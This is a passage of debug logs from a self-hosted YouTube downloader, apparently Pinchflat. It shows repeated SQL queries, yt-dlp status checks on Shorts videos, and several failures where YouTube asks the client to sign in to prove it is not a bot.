s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:58.068 [debug] QUERY OK source="media_profiles" db=2.4ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:58.069 [debug] QUERY OK source="media_items" db=0.9ms idle=5.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [407] 20:31:58.072 [debug] QUERY OK source="media_metadata" db=0.4ms idle=9.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [407] 20:31:58.073 [debug] QUERY OK source="media_profiles" db=0.4ms idle=8.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:58.074 [debug] QUERY OK source="settings" db=1.0ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:58.075 [debug] QUERY OK source="settings" db=0.7ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:58.076 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:58.077 [debug] QUERY OK source="settings" db=0.2ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:58.078 [debug] QUERY OK source="settings" db=0.6ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:58.079 [debug] QUERY OK source="settings" db=0.5ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:58.079 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/vGGSsfR4mWo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/72/84/72842384af6646b69454006890903160b49514db39e8e40542497a8a2be295c1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:59.283 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/Mj3x1aGKr_s --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f9/24/f924f316ff81323d5e422d51062c1a6dbf3ce2ba7fcae18cd69e8a1373107a26.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] Mj3x1aGKr_s: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:59.283 [error] yt-dlp download error for media item #406: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] Mj3x1aGKr_s: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:59.284 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] Mj3x1aGKr_s: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:59.285 [info] {"args":{"id":406},"id":247,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1863381,"event":"job:stop","attempt":1,"queue_time":46419202,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:59.287 [debug] QUERY OK source="tasks" db=0.7ms idle=1208.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:59.288 [debug] QUERY OK source="media_items" db=0.5ms idle=1209.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [407] 20:31:59.293 [info] {"args":{"id":408},"id":249,"meta":{},"system_time":1774150319293058834,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:59.294 [debug] QUERY OK source="tasks" db=1.1ms idle=7.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:59.295 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=369.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [408] 20:31:59.296 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:59.297 [debug] QUERY OK source="media_items" db=2.1ms idle=8.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [407, 408] 20:31:59.298 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:59.299 [debug] QUERY OK source="media_profiles" db=0.7ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:59.300 [debug] QUERY OK source="media_items" db=0.7ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [408] 20:31:59.301 [debug] QUERY OK source="media_metadata" db=0.1ms idle=6.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [408] 20:31:59.301 [debug] QUERY OK source="media_profiles" db=0.5ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:59.302 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:59.303 [debug] QUERY OK source="settings" db=0.4ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:59.304 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:59.305 [debug] QUERY OK source="settings" db=0.2ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:59.305 [debug] QUERY OK source="settings" db=0.4ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:59.306 [debug] QUERY OK source="settings" db=0.4ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:59.306 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/wghOBp3kUUo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a8/a9/a8a9a9927c0a6b2c70d871f76e8c6b1751219ff9ae240fbf3dfd93bc11895d45.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:31:59.901 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/vGGSsfR4mWo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/72/84/72842384af6646b69454006890903160b49514db39e8e40542497a8a2be295c1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] vGGSsfR4mWo: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 20:31:59.901 [error] yt-dlp download error for media item #407: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] vGGSsfR4mWo: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:59.901 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] vGGSsfR4mWo: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 20:31:59.904 [info] {"args":{"id":407},"id":248,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":1840369,"event":"job:stop","attempt":1,"queue_time":47060088,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:59.906 [debug] QUERY OK source="tasks" db=0.7ms idle=601.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:59.907 [debug] QUERY OK source="media_items" db=0.8ms idle=600.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [408] 20:31:59.912 [info] {"args":{"id":409},"id":250,"meta":{},"system_time":1774150319912187638,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:31:59.913 [debug] QUERY OK source="tasks" db=0.8ms queue=0.2ms idle=8.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:31:59.914 [debug] QUERY OK source="media_items" db=1.2ms queue=0.3ms idle=606.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [409] 20:31:59.915 [debug] QUERY OK source="media_items" db=1.5ms idle=8.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [408, 409] 20:31:59.917 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:31:59.918 [debug] QUERY OK source="sources" db=0.4ms idle=10.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:59.919 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:59.920 [debug] QUERY OK source="media_items" db=0.9ms idle=5.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [409] 20:31:59.922 [debug] QUERY OK source="media_metadata" db=0.2ms idle=7.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [409] 20:31:59.922 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:31:59.923 [debug] QUERY OK source="settings" db=0.4ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:59.924 [debug] QUERY OK source="settings" db=0.4ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:59.925 [debug] Running yt-dlp command for action: get_downloadable_status 20:31:59.928 [debug] QUERY OK source="settings" db=1.3ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:59.929 [debug] QUERY OK source="settings" db=1.2ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:59.930 [debug] QUERY OK source="settings" db=0.9ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:31:59.931 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/YPolYLE8i5M --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/93/92/93926560ee00c53569bc1efae0447e10b93ce756c4791deff11b6b1330c8a08e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:32:00.443 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:32:01.367 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/shorts/wghOBp3kUUo --simulate --skip-download --print-to-file %(.{live_status})j 